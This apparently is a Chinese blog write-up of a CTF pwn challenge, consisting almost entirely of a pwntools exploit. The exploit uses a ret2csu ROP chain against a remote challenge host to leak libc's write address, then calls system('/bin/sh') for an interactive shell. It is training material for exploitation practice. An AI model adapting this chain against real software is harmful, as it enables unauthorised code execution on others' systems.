PWN：[WEEK2]ret2csu

最新推荐文章于 2023-12-08 19:59:16 发布

we have a whole life

最新推荐文章于 2023-12-08 19:59:16 发布

阅读量207

点赞数

分类专栏： pwn 文章标签： pwn

本文链接：https://blog.csdn.net/m0_53932372/article/details/127415357

版权

pwn 专栏收录该内容

18 篇文章 1 订阅

订阅专栏

很简单的ret2csu

只不过要耐心的调试一会儿。

exp

from pwn import *

context.log_level="debug"

def look(sh):
	gdb.attach(sh,"b *0x0004011BE")
	pause()

#sh=process("./ret2csu")
sh=remote("43.143.7.127",28451)
sla=lambda x,y :sh.sendlineafter(x,y)

#参考ctfwiki的文章
csu_front_addr = 0x00401290
csu_end_addr = 0x000004012AA

elf=ELF("./ret2csu")
libc=ELF("./libc.so.6")

def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15

    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call

    # rdi=edi=r15d
    # rsi=r13
    # rdx=r14
    # 
	#实际调试时，要注意寄存器的不同。
	#本来看文章以为一样，结果程序的这段代码都不尽相同
	#所以还是要自己调试
    payload = b'a' * (0x100 + 8)
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += b'a' *(6*8)+p64(write_plt)
    payload += p64(last)
    return payload

main=elf.sym["main"]
write_plt=elf.plt["write"]

print("[*][*][*][*][*][*][*][*][*][*][*][*]")
print(type(write_plt))
print(hex(write_plt))
print("[*][*][*][*][*][*][*][*][*][*][*][*]")

write_got=elf.got["write"]

payload=csu(0,1,1,write_got,8,0x404018,main)

#look(sh)
sla("Input:\n",payload)
sh.recvuntil("Ok.\n")
libc_base=u64(sh.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym["write"]
libc.address=libc_base

print("[*][*][*][*][*][*][*][*][*][*][*][*]")
print(hex(libc_base))
print("[*][*][*][*][*][*][*][*][*][*][*][*]")

poprdi = 0x00000000004012b3#next(elf.search(asm('pop rdi;ret')))
binsh=next(libc.search(b"/bin/sh\x00"))
system=libc.sym["system"]
ret=0x000000000040101a
payload=b'a'* (0x100 + 8)+p64(poprdi)+p64(binsh)+p64(ret)+p64(system)
#look(sh)
sla("Input:\n",payload)
#sh.read()
sh.interactive()